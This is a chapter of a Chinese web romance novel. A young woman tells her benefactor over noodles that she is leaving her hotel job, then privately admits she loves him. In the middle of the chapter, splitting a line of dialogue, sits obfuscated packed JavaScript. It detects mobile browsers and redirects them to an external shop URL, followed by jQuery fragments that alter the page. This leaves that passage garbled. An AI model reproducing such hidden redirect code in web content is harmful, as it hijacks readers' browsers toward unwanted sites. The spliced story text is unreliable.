20. 第 20 章

作品:《救星

    下了晚班,谢止姝从员工通道出来,头顶的那轮月亮白晃晃的,正好卡在两栋楼的夹缝里,把地上的人影照得清清亮亮。


    她掏出手机翻到周琰的聊天框,打了一行字:“周哥哥,今晚有空吗?我想请你吃面,老地方。”


    发完消息后,谢止姝把手机攥在手里等了一会,头顶的月光太亮了,亮得她有些不自在,就像是有人在她心底开了一盏大灯,将她的那些心事照得彻彻底底,什么都藏不住。


    手机震了一下:“好。”


    谢止姝看完,将手机揣进兜里,加快脚步往面馆走去。


    凉风从巷口灌进来,带着十足的冷意,恰好能将人的脑子吹清醒。


    这不是她临时起意,从国贸回来后几天,她将周芸华和丁儒枚说的话,还有自己在酒店这几个月的遭遇,一条条翻出来捋清楚,像是在理一团打结的毛线,想到最后终于看清了自己想要什么。


    只是有一件事,她始终没弄明白,也不敢弄明白。


    她每次见到周琰,心里那种说不清道不明的悸动,到底是因为感激,还是因为别的。


    她很快便将这个念头压在了心底,压在最深处,深到连自己都不敢轻易翻动。


    面馆依旧是原来的模样,谢止姝到的时候,周琰已经坐在原来靠窗的老位置上。


    他穿了件深色外套,领口敞着一颗扣子,面前放着一碗牛肉面,热气袅袅地往上冒。对面那碗摆得整整齐齐,筷子搁在碗沿上,看出来是她的。


    谢止姝走过去坐下,把包放在旁边,低头喝了口汤。


    借着低头的瞬间,她悄然深吸了一口气,将涌上来的心绪按了回去。


    周琰看了她一眼:“怎么了?”


    谢止姝抬起头,面馆的灯光暖黄黄的,打在两个人脸上,把窗外的月光都比了下去。


    她顿了那么一小下,把准备好的话说出来:“周哥哥,我想离开酒店。”


    周琰的筷子顿在半空中:“为什么?”


    “周夫人来找过我了。”谢止姝努力挤出一抹笑意:“她说了一些话,我想了想,觉得她说得对。”


    周琰的眉头微微皱了一下,:“她说了什么?”


    “她说我在酒店,于你于我都不是好事。”谢止姝说:“周夫人很客观,说的话在理。”


    周琰的嘴唇动了一下,有话堵在嗓子眼,但最终没说出来。他的手指从筷子上移开,垂在桌面上,又慢慢松开。


    谢止姝的目光在他手上停留了不到一瞬,心脏揪了一下,又迅速移开。


    “周夫人说的那些话虽然不好听,但是句句都在替你着想,她只是不想你被人议论。”


    周琰的喉结滚了一下,没有接话。


    “当然也是有为我想。”谢止姝接着说:“周哥哥,前几天有位丁总,丁儒枚,也就是华研控股的董事长,她找过我,说想让我去她那工作,从事美业行业。我觉得这份工作也不错,我想去试一试。”


    周琰的目光钉在她脸上,表情还是那副淡得不能再淡的样子,但谢止姝注意到他的眼神变了,里面掺杂了一些她看不懂的东西。


    他听得认真,认真到连呼吸都放轻。


    谢止姝被他看得有些不自在,垂下眼睛,没有说话。


    “在酒店,你待得不开心吗?”


    谢止姝努了努嘴:“其实在酒店里,同事们都在说我的闲话,他们说我是靠关系进来的,说我和你之间有不正当关系,我不想被人这样说,也不想让你被人嚼舌根。”


    “而且。”她抬起头,看着周琰的眼睛:“我也不想一辈子做迎宾员,我想试着往上走,如果还在酒店,我得不到我想要的。”


    周琰沉默了很久。


    面馆里只剩灯光下细微的杂音和门外偶尔掠过的风声。他低下头,看着面前那碗凉透的面,面条泡得发胀,软塌塌地浮在汤面上。


    他的手搭在碗沿上,五指的血管清晰可见。


    谢止姝看着他的侧脸,酸涩涌上心头。她想说“不走”,可这个词在舌尖打转,过了一会又不得不咽回去。她端起水杯喝了一口,凉水从喉咙一直蔓延至胸口,将心底的酸涩浇灭了一些。


    “是我考虑不周。”周琰开口,声音比平时低了一截:“当初我只想着把你安顿下来,没想到你在那里会被人说闲话,对不起。”


    谢止姝摇了摇头:“你不用道歉,周哥哥你帮了我那么多,我心里都记得。”


    说完这句话,她忽然觉得自己虚伪。


    她何止是记得呢?


    她一遍遍地在心里翻来覆去地回忆,记到每个细节都刻在了骨子里。


    周琰看着她的眼睛。


    谢止姝的眼神已经褪去了从前的青涩,沉静而笃定,再没有一点慌乱与躲闪。


    如今她安安静静地坐在那,从容地说着自己的决定。


    周琰此刻忽然觉得,她真的不需要他了,而这正是他当初想要的。可为什么结果达到了,他的心里却一点欢喜也没有?


    她如今自己挣脱了束缚,有能力去往更配得上她的地方,他明明应该高兴才是。


    “你想好了?”他问。


    “想好了。”谢止姝说:“丁总那边邀请我过去做项目体验官和品牌官,虽然我什么都不懂,一切都要从零开始学,但我还是想试一试。”


    周琰点了点头,拿起筷子,夹了一筷子面送进嘴里。面已经凉透了,坨在一起,口感发黏,他嚼了两下硬咽了下去。


    “你决定了就去,我支持你。”周琰顿了顿,目光落在她身上,语气平静:“你的外在条件好确实不应该浪费在酒店大堂。”


    “你……真的这样觉得?”谢止姝的语气里带着试探。


    “嗯。”周琰低下头,端起桌上的水杯喝了一口。


    谢止姝没再多问,垂眸拿起筷子,心里先前悬着的那块石头总算落定,可另一块沉甸甸的石子却悄无声息地坠下,扑通一声,掉进在更隐蔽的深潭。


    她咽下最后一口面,放下筷子,抬起眼睛看着周琰,她有很多话想说,但最后只挑了一句最安全的。


    “周哥哥,我虽然离开酒店了,但我还在京山。你以后要是累了,或者有什么事,还可以找我。不是只能吃面,别的也行。反正我会一直在京山,跑不远的。”


    周琰握着水杯的手停了一下,抬起头,对上她的目光。


    灯光下的她眼眸清亮,瞳孔里满是鲜活的劲头与朝气。


    他嘴角微微触动,想说什么,但最后嘴唇微张,只吐出三个字:“知道了。”


    谢止姝扯了扯嘴角,没有再多说。


    两人从面馆出来,街边的店铺陆续收了灯,只剩路灯静静亮着,衬得夜晚格外安宁。


    “什么时候走?”周琰问。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469083|201380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下周,我跟方经理提了离职,她说让我把手续办完。”


    周琰点了点头:“有需要帮忙的,跟我说。”


    “嗯。”谢止姝应了一声,走了几步又开口,刻意将语气变得轻快:“丁总说,我去了先从最基础的学起,不过没关系,我学东西快。”


    周琰侧头看了她一眼:“你学东西的能力不错。”


    谢止姝笑了:“你这是在夸我?”


    “陈述事实。”周琰收回目光,看向前面的路。


    谢止姝低头,看着两个人被路灯拉长的影子。


    她的影子挨着他的影子,在路面叠在一起,像是一个人。


    她盯着看了两秒,然后迅速移开目光,生怕别人发现她这细小动作。


    两个人走到路口,周琰的车停在路边。


    他拉开车门,转过身看向她:“好好工作。”


    “我会的。”谢止姝站在原地:“周哥哥,你也是,好好工作,好好吃饭,好好睡觉。”


    她顿了顿,又补了句:“反正你有我电话,有什么事可以再联系我。”


    话一说完,谢止姝心口微微发涩,她明明也存着他的号码却不敢朝前走半步。那些没说出口的心思,埋在心底才是最好的结局。


    周琰看着她,点了点头,坐进车里,随后发动车子,缓缓驶离。


    回到宿舍,谢止姝关上门。


    房间里只留了一盏床头小灯,昏黄的光把四周照得安安静静。窗外偶尔传来几声夜风扫过树叶的声响。


    她靠在墙边,心里慢慢静下来,许多从前没细想过的念头,一点点浮上来。


    她一直以为周琰是无所不能的,好像没有他解决不了的事,没有他扛不住的压力。


    他总是冷淡又从容,站在那里便自带一股让人安心的气场,久而久之,她几乎觉得他本就该这样无坚不摧。


    可静下来一想,她才慢慢明白,他也有身不由己的时候。


    那些看似轻易的安排,背后未必没有为难与疲惫。


    他不是真的万能,也不是天生就该独自承受一切,只是习惯了不把脆弱露在人前。


    这么一想,心口忽然泛起一阵酸涩,带着说不清的心疼。


    她后知后觉地意识到,自己对他的情绪,早就超出了单纯的感激。或许是那次他蹲在巷子里与她平视,或许是便利店他拧开矿泉水瓶的瞬间,又或许是无数个他沉默站在她身后的时候。


    那些她曾以为是“恩情”的瞬间,早已在心底悄悄变了质。


    每次想起他时忍不住的在意,都在告诉她,这份心思早已不一样了。


    只是她一直不敢承认,也不敢细想。


    夜色更深了,风轻轻吹动窗帘一角。


    谢止姝慢慢走到床边坐下,心底那点异样的情绪再也藏不住,伴着对他的心疼,轻轻落进心底。


    她终于肯偷偷承认,自己对他动了别的心思,也开始默默心疼这个看似强大,实则也有诸多不易的人。但她从不敢把这份心意流露半分,哪怕一个眼神、一句话,都小心翼翼地藏好。


    谢止姝清楚地知道,自己和周琰是两个世界的人。


    他生来便站在旁人难以企及的高度,家境优渥、自带光环,而她不过是在平凡里默默扎根、一步一步慢慢向上走的普通人。


    两人就像隔着一条看不见的鸿沟,永远无法真正靠近。